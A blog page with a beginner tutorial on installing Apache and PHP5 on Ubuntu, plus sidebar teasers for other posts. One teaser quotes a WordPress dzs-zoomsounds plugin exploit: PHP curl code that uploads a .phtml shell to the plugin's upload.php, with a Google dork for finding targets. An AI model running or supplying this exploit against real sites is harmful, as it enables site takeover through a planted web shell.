Skip to main content

How to Install Apache, MySQL, PHP, and PHPMyAdmin on Ubuntu

How to Install Apache, MySQL, PHP, and PHPMyAdmin on Ubuntu - If you are web programmer which using Ubuntu (Linux), maybe you will need installing Apache, MySQL, PHP, and PHPMyAdmin.
Apache is a name of Web Server. apache can be interpreted as the compact web server, modular, following the standard HTTP protocol, and popular with many people.
MySQL is a database software are free. MySQL have a function as SQL (Structured Query Language) in self and has expanded. And generally used with PHP.
PHP is stands for "PHP: Hypertext Preprocessor", programming language that is widely used for handling the manufacture and development of a website and can be used in conjunction with HTML.
PhpMyAdmin (shortened PMA) is a free software written in the PHP programming language that is used to handle the administration of MySQL over the web.

Below step by step to Install Apache, MySQL, PHP, and PHPMyAdmin on Ubuntu. First, installing apache2, Open your terminal, and write the command at below
sudo apt-get install apache2
Wait it until the progress of installing that package are done. After it, open your web browser to testing that package have installed, write on address bar "http://localhost". If the display like below, so the process of installation has been successful.

Second, installing PHP5. Still on your terminal, use command below
sudo apt-get install php5 libapache2-mod-php5
After it restart that apache2 service
sudo /etc/init.d/apache2 restart
Now, test the PHP5 using this way, create a PHP file on this directory /var/www/, and give name "phpinfo.php".
sudo gedit /var/www/phpinfo.php
On the window of gedit, copy and paste script at below
<?php phpinfo(); ?>
And than save it. After it, open that file using web browser in http://localhost/phpinfo.php, if the display like below, so that process are successful.

Comments

Popular posts from this blog

[Solved] Error relaunching VirtualBox VM Process: 5 | VirtualBox won't start

In this article we are going to discuss about the 'supR3HardenedWinReSpawn' error. When i was exploring the Cisco IOU  tool, I had to import a Cisco IOU VM which was in OVF file format. But as soon as i double click the ovf file, VM refused to start and an error popped up, saying: Error in supR3HardenedWinReSpawn Result Code: E_FAIL (0x80004005) Component: Machine Interface: IMachine {480cf695-2d8d-4256-9c7c-cce4184fa048} And another message was also given in addition to the above, Error relaunching VirtualBox VM process: 5 Command line: '81954AF5-4D2F-31EB-A142-B7AF187A1C41-suplib-2ndchild--comment Fedora32 --startvm fd699e30-a77b-4eac-8ced-1210d756855d --no-startvm-errormsgbox' (rc=-104) The error that you receive might not be as exact as it's given here, since VM details are also part of the error. For example, If you look at the error shown above, My VM name 'GNS3 IOU VM' is also part of the error.  Why do I see this error ? Well, When i was doing a litt...

WordPress dzs-zoomsounds Plugins <= 2.0 - Remote File Upload Vulnerability

################################################################################################### # Exploit Title: WordPress dzs-zoomsounds Plugins Remote File Upload Vulnerability # Vendor : http: //digitalzoomstudio.net/docs/wpzoomsounds/ # Author: bl4ck-dz # Date : 28/05/2015 # Infected File: upload.php # Category: webapps # Google dork:inurl:/wp-content/plugins/dzs-zoomsounds/ # Tested on : Linux | Windows ################################################################################################### <?php $evil = "dz.phtml" ; $ch = curl_init( "http://127.0.0.1/wp-content/plugins/dzs-zoomsounds/admin/upload.php" ); curl_setopt( $ch , CURLOPT_POST, true); curl_setopt( $ch , CURLOPT_POSTFIELDS,          array ( 'file_field' => "@$evil" )); curl_setopt( $ch , CURLOPT_RETURNTRANSFER, 1); $postResult = curl_exec( $ch ); curl_close( $ch ); echo "$postResult" ; ?> Shell Access : http: //127.0.0.1/wp-content/plugins/dzs-zoo...

How To Install Kali Linux In VMware Player

This tutorial will walk you through the difficult process of installing Kali Linux in VMware Player , a free virtual machine manager that can be downloaded from www.vmware.com . This tutorial assumes that you have some basic knowledge of your computer (amount of RAM, number of processors, x32 or x64 architecture, etc.) and that you’re using VMware Player as a virtual machine manager, not VMware Workstation or other software. Step One: First we need to download Kali from http://kali.org/downloads/ . If you have a 64-bit capable computer (like me), then you probably will want the 64-bit version of Kali for performance and compatibility reasons. Select the 64-bit version ONLY if you have a 64-bit computer . If you don’t have a 64-bit capable computer, or if you aren’t sure, then get the 32-bit version, as it will work on both architectures. Step Two: You can either direct download Kali through the browser’s download manager by clicking on ISO , or you can torrent it by clickin...